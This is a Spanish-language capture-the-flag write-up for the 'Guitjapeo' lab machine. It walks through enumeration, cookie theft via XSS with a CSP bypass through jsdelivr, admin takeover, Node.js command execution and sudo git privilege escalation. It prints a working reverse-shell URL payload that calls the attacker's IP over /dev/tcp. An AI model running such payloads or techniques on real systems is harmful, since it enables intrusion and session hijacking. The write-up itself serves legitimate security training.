Resolución del CTF GUITJAPEO
💢 Plataforma: TheHackersLabs
❌Nombre: Guitjapeo
📈Nivel: EXPERTO
💻SO: :linux: Linux
🙋🏽♂️Creador: Lenam
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para saber cuáles están activos.

Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- -sC : Realiz una escaneo con los scripts basicos de reconocimiento
- -sV : Realiza un escaneo en buqueda de los servicios
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
En el puerto 80 nos encontramos una redirección al dominio así que lo añadimos al «/etc/hosts» para poder verlo.

Ahora si que vemos una pedazo de web que me recuerda al salvapantallas del DVD.

Si fuzzeamos un poco encontramos dos directorios muy interesantes, uno de registro y otro de api.

En este punto nos vamos a registrar antes de intentar hacer fuerza bruta.

Y vemos que podemos enviar un mensaje al administrador.

Así que le enviaremos mi dirección ip teniendo un servidor en Python levantado, es un gran administrador ya que lee los mensajes al instante, otra cosa es que responda :).

En este punto parece que el administrador esta visitando los enlaces que le enviamos, y vemos algo curioso, una cookie incompleta, incompleta debido a que tiene el atributo httponly en true, de esto hablamos en este articulo, así que ya vemos por donde van yendo las tornas


Recordemos que tenemos un directorio llamada «api», fuzzeemos sobre el:

Entro otras cosas encontramos el de info, el cual vemos que nos permite leer las cabecera, en este punto vemos que podríamos hacer un secuestro de cookie mediante un XXS, pero tiene la cabecera CSP el cual se encarga de que nos dificulte ese secuestro de cookie. Nos llama la atención que la cabecera CSP, esta es característica de seguridad utilizada en aplicaciones web para prevenir una amplia gama de ataques, como el Cross-Site Scripting (XSS), la inyección de datos y la ejecución de contenido no confiable. A través de esta cabecera, los desarrolladores pueden controlar qué recursos son permitidos o bloqueados dentro de una página web. Pero vemos que se pueden cargar scripts personalizados desde el dominio «jsndelivr.com». Esto nos permite cargar un script desde GitHub, pero en un formato un tanto especial.

Antes de nada, en nuestro repositorio de GitHub nos crearemos un script para el proceso de robo de cookie, este script es creado por Lenam <3, la estructura es la siguientehttps://cdn.jsdelivr.net/gh/CuriosidadesDeHackers/temp@main/cookies.js
En este caso el repositorio se llama «temp» y el script «cookies.js» y lo haremos pasar a través del CDN «jsdelivr.net». Cabe destacar que debemos apuntarlo hacia nuestra IP
Se vería tal que así ;


Pero antes de nada debemos url-encodearlo para que llegue al administrador de la siguiente manera;

Y como es un gran administrador pero con malas practicas preventivas en ciberseguridad, a clickado, recibiendo su cookie de sesión.

Mediante el inspector o con una extension de editor de cookies podemos modificarla, guardammos y recargamos convirtiendonos en Admisnitrador

Nos llama la atención la parte de «limpiar usuarios».

y como somos administradores llegamos al endpotin de las API, donde explico como explotar APIs en el siguiente articulo.

Vemos que podemos ejecutar JavaScript.

Asi que nos cargamos una revshell utilizando un RCE aprovechándonos de la función exec del módulo child_process de Node.js.
https://guitjapeo.thl/api/command/?cmd=require(%27child_process%27).exec(%27bash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.4%2F9001%200%3E%261%22%27)

Nos ponemos en escucha con netcat y recibimos la conexión, lo primero que hacemos es ver los usuarios que tenemos.

Buscando entre directorios encontramos un .git, ya sabemos que significa, podemos encontrar cosas muy interesantes en su historial, el cual vemos dos archivos: «password.txt» y «archivo.zip».

Pero al no estar dentro de la carpeta de la aplicación los debemos de recuperar.

Una vez tenemos acceso nos lo mandamos a nuestro host para inspeccionarlos mejor.


En el primero archivo no sindica que es un script escrito en Python, así que le haremos caso y lo ejecutaremos, dándonos, imagino imagino, una contraseña.

En cuanto al «archivo.zip» deberemos crearnos un script, en este caso creado por Lenam, y modificado por mi:
import pyzipper
import subprocess
import os
import sys
import shutil
def detect_language(first_line, script_path):
line = first_line.lower()
if 'python' in line:
return ['python3', script_path]
elif 'javascript' in line or 'node' in line:
return ['node', script_path]
elif 'ruby' in line:
return ['ruby', script_path]
elif 'php' in line:
return ['php', script_path]
else:
return None
def run_script(script_path):
with open(script_path, 'r', encoding='utf-8') as f:
first_line = f.readline().strip()
cmd = detect_language(first_line, script_path)
if cmd is None:
print(f"Lenguaje no reconocido en el script {script_path}")
sys.exit(1)
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"Error al ejecutar el script {script_path}: {result.stderr}")
sys.exit(1)
return result.stdout.strip()
def unzip_file(zip_path, password, output_dir):
try:
with pyzipper.AESZipFile(zip_path, 'r') as zf:
zf.pwd = password.encode('utf-8')
zf.extractall(path=output_dir)
except (RuntimeError, pyzipper.zipfile.BadZipFile):
return False
return True
def display_progress(current, total):
percent = (current / total) * 100
bar_length = 50
block = int(round(bar_length * percent / 100))
progress_bar = '#' * block + '-' * (bar_length - block)
sys.stdout.write(f"\rProbando contraseñas: |{progress_bar}| {percent:.2f}%")
sys.stdout.flush()
def process_zip_chain(initial_zip, initial_password):
current_zip = initial_zip
current_password = initial_password
level = 1
temp_dir = 'temp_extraction'
shutil.rmtree(temp_dir, ignore_errors=True)
os.makedirs(temp_dir)
while True:
extract_path = os.path.join(temp_dir, f'level_{level}')
os.makedirs(extract_path, exist_ok=True)
# Intentar extraer el archivo ZIP
success = unzip_file(current_zip, current_password, extract_path)
# Mostrar barra de progreso al probar contraseñas
display_progress(level, 100) # Actualiza la barra de progreso
if not success:
level += 1
continue
next_zip = os.path.join(extract_path, 'archivo.zip')
password_script = os.path.join(extract_path, 'password.txt')
if not os.path.exists(password_script):
print("\nNo se encontró 'password.txt'. Proceso finalizado.")
break
if not os.path.exists(next_zip):
print(f"\nÚltimo nivel alcanzado en el nivel {level}.")
with open(password_script, 'r', encoding='utf-8') as f:
final_content = f.read()
print("\nContenido del último 'password.txt':")
print(final_content)
break
current_password = run_script(password_script)
current_zip = next_zip
level += 1
shutil.rmtree(temp_dir)
print("\n\nProceso completado.")
if __name__ == "__main__":
initial_password = input("Introduce la contraseña inicial para 'archivo.zip': ").strip()
initial_zip = 'archivo.zip'
if not os.path.exists(initial_zip):
print(f"No se encontró '{initial_zip}' en el directorio actual.")
sys.exit(1)
process_zip_chain(initial_zip, initial_password)
Este script extrae un archivo ZIP protegido por contraseña que contiene múltiples archivos ZIP anidados. Usa la contraseña inicial para descomprimir el primer ZIP, luego ejecuta un script (password.txt
) dentro de cada archivo extraído para obtener la contraseña del siguiente ZIP, repitiendo el proceso en cadena hasta que no se encuentren más archivos ZIP o contraseñas. Pero antes deberemos instalar algunas dependencias como pyzzipper

Lo ejecutamos y utilizamos la contraseña que encontramos, menos mal que utilizamos el script, sino tendríamos que hacerlo 100 veces tardando demasiado en ello. Nos da una contraseña.

La cual pertenece a Lenam y vemos que puede utilizar el binario git como root.

Como siempre consultamos GtfoBins y tenemos varias opciones.

En esta caso crearemos un directorio temporal y crearemos un enlace simbólico que apunte a la /bin/sh, y usaremos sudo para ejecutar git con la ruta personalizada del path que creamos anteriormente, el cual apunta al enlace simbólico de la /bin/sh, obteniendo como resultado una sh con privilegios de root.

Especial agradecimiento al compañero Lenam por la creación y el conocimiento aportado en esta máquina.